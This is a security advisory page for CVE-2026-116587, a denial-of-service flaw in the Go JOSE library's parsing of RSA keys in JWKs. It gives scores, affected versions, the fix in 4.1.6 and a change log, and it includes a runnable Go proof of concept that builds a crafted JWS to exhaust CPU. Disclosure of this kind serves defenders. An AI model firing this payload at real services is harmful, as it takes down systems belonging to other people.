HighCVE-2026-116587

    Go JOSE: DoS when parsing JWKs that contain RSA keys (CVE-2026-116587)

    Published Last modified Sources: Msrc Update Guide, OSV, Hersteller, CVE.org

    Share

    What is affected, what to do

    Update Go-jose to version 4.1.6.

    Affected
    • Go-jose lt *..4.1.6
    Fixed in
    • Go-jose 4.1.6

    Not sure whether and how you are affected? Ask a question about this vulnerability

    Metrics

    7.5

    Priority

    XIEM Effective CVSS: highest available CVSS rating from NVD and vendor data.

    Source: Vendor (CNA), CVSS v3

    7.5

    CVSS v3

    Severity High on the scale from 0 to 10.

    Source: Msrc Update Guide, OSV, Hersteller, CVE.org

    0.4 %

    EPSS score

    Low — model estimates < 1% exploitation likelihood.

    Source: FIRST EPSS, percentile 30.5

    Show all metrics
    Severity
    High
    Priority (0–325)

    The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?

    Read in glossary
    74.93 Methodology
    Exploit maturity

    An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.

    Read in glossary
    no public PoC known
    XIEM Effective CVSS

    XIEM® is the tiered managed-security operating model from NEOSEC and a registered trademark of NEOSEC GmbH. It extends classic SIEM — the central collection, normalisation and correlation of security-relevant events — with endpoint forensics, network visibility and deception technology, and consolidates them into three building tiers: Sentry, Orchestrate and Command.

    Read in glossary
    7.5 Methodology
    CVSS v3

    CVSS is the globally established, open standard for assessing the technical severity of a vulnerability on a scale from 0 to 10. It describes how easily a flaw can be exploited and what damage it can cause — but not how likely its actual exploitation is. CVSS and the complementary EPSS deliberately answer different questions.

    Read in glossary
    7.5
    EPSS score

    The EPSS score is the absolute model output for an individual vulnerability: the estimated probability of real-world exploitation within the next 30 days, expressed as a value between 0 and 1 (i.e. 0 % to 100 %). A score of 0.42 means „the model estimates a 42 % chance of real-world exploitation within 30 days“.

    Read in glossary
    0.4 %
    Low — model estimates < 1% exploitation likelihood.
    EPSS percentile

    The EPSS percentile is the relative position of a vulnerability within all EPSS-scored CVEs, expressed as a value between 0 and 1. A percentile of 0.90 means „this CVE has a higher EPSS score than 90 % of all other scored CVEs“. Unlike the EPSS score, it is not a probability — but a positioning within a ranking.

    Read in glossary
    30.5
    Elevated — this CVE ranks above at least 10% of all CVEs scored today.
    KEV status

    The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.

    Read in glossary
    —
    Published
    CISA assessment (SSVC)
    Exploitation: none known · automatable · Technical impact: partial
    Source: CISA Vulnrichment, as of 27 October 2026
    CWE

    CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.

    Read in glossary
    CWE-407, CWE-770

    Detection rules

    No NEOSEC detection rule is available for this vulnerability yet.

    Classification under NIS2 and CRA

    Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.

    NIS2

    NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.

    Read in glossary
    High technical severity: assess and remediate the vulnerability in vulnerability handling under Art. 21(2)(e) NIS2 and document the decision.
    CRA

    The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.

    Read in glossary
    From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
    ISO/IEC 27001

    ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.

    Read in glossary
    Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.

    Description

    Summary

    A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

    Details

    go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

    https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

    Proof of concept

    No special configuration of go-jose is required to reproduce this vulnerability.

    package main
    
    import (
    	"encoding/base64"
    	"encoding/json"
    	"fmt"
    	"math/big"
    	"time"
    
    	"github.com/go-jose/go-jose/v4"
    )
    
    func main() {
    	// The RSA parameters can be complete junk. The CPU cost is in validating them.
    	primeBits := 16384
    	p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
    	p.SetBit(p, 0, 1)
    	n := new(big.Int).Lsh(big.NewInt(1), 2048)
    	e := big.NewInt(65537)
    	d := big.NewInt(3)
    	q := big.NewInt(3)
    
    	jwk := map[string]string{
    		"kty": "RSA",
    		"n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
    		"e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
    		"d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
    		"p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
    		"q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
    	}
    
    	protected := map[string]any{
    		"alg": "RS256",
    		"jwk": jwk,
    	}
    	protJSON, _ := json.Marshal(protected)
    
    	jws := map[string]string{
    		"protected": base64.RawURLEncoding.EncodeToString(protJSON),
    		"payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
    		"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
    	}
    	jwsJSON, _ := json.Marshal(jws)
    
    	start := time.Now()
    	_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
    	elapsed := time.Since(start)
    
    	fmt.Printf("prime bits: %d\n", primeBits)
    	fmt.Printf("parse time: %s\n", elapsed)
    	fmt.Printf("parse error: %v\n", err)
    }
    

    Impact

    Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

    Credits

    Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

    Source: Microsoft Security Update Guide, OSV (Open Source Vulnerabilities), GitHub Security Advisories, cvelistv5, NVD (NIST)

    Affected products

    The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.

    Affected products
    Affected versionsFixed in
    go-josego-jose
    • < 4.1.6
    • 4.1.6
    gogithub.com/go-jose/go-jose/v3
    • —
    • <= 3.0.5
    • —
    • —
    gogithub.com/go-jose/go-jose/v4
    • <= 4.1.5
    • —
    • 4.1.6
    • 4.1.6

    Vendors and products

    Weakness classes (CWE)

    • CWE-407Inefficient Algorithmic Complexity

      Class

      An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

      Entry at MITRE CWE-407
    • CWE-770Allocation of Resources Without Limits or Throttling

      Base

      The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

      Entry at MITRE CWE-770

    References & sources

    • github.comgo-jose/go-jose/commit/a0111f82742fa92bceec9ede40845e73319e6230x_refsource_MISC, web
    • github.comgo-jose/go-jose/releases/tag/v4.1.6x_refsource_MISC, web
    • github.comgo-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2qx_refsource_CONFIRM, web
    • NVD (NIST)vuln/detail/CVE-2026-116587advisory
    • github.comgo-jose/go-josepackage

    Changes to this CVE

    Who changed this CVE and when: NVD (analysis, affected products, CVSS), the CVE publisher (CNA) and additional providers such as CISA (ADP).

    1. Record modifiedCISA ADP

      CISA assessment (SSVC): exploitation: none known, automatable: yes

      Show the original change
      Individual changes of this event as published by NVD
      TypeActionBeforeAfter
      SSVC assessmentadded
      —
      {"id":"CVE-2026-116587","role":"CISA Coordinator","options":[{"exploitation":"none"},{"automatable":"yes"},{"technicalImpact":"partial"}],"version":"2.0.3","timestamp":"2026-10-27T13:45:58.881401Z"}

      Source identifier: 134c704f-9b21-4f2e-91b3-4a467353bcc0

    2. ReceivedGitHub

      Show 8 original changes
      Individual changes of this event as published by NVD
      TypeActionBeforeAfter
      Descriptionadded
      —
      Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
      CVSSadded
      —
      AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
      Weakness type (CWE)added
      —
      CWE-407
      Weakness type (CWE)added
      —
      CWE-770
      Affected versions (publisher)added
      —
      New affected value received. <a href="https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/116xxx/CVE-2026-116587.json">CVE-2026-116587</a>
      Referenceadded
      —
      https://github.com/go-jose/go-jose/commit/a0111f82742fa92bceec9ede40845e73319e6230
      Referenceadded
      —
      https://github.com/go-jose/go-jose/releases/tag/v4.1.6
      Referenceadded
      —
      https://github.com/go-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2q

      Source identifier: security-advisories@github.com

    Embed badge

    Show the severity and KEV status of this vulnerability on your site – with a link back here. The image is updated hourly.

    Badge preview for CVE-2026-116587
    <a href="https://intel.neosec.eu/en/cve/CVE-2026-116587"><img src="https://intel.neosec.eu/badge/cve/CVE-2026-116587.svg?lang=en" alt="CVE-2026-116587 – NEOSEC Intel" height="20"></a>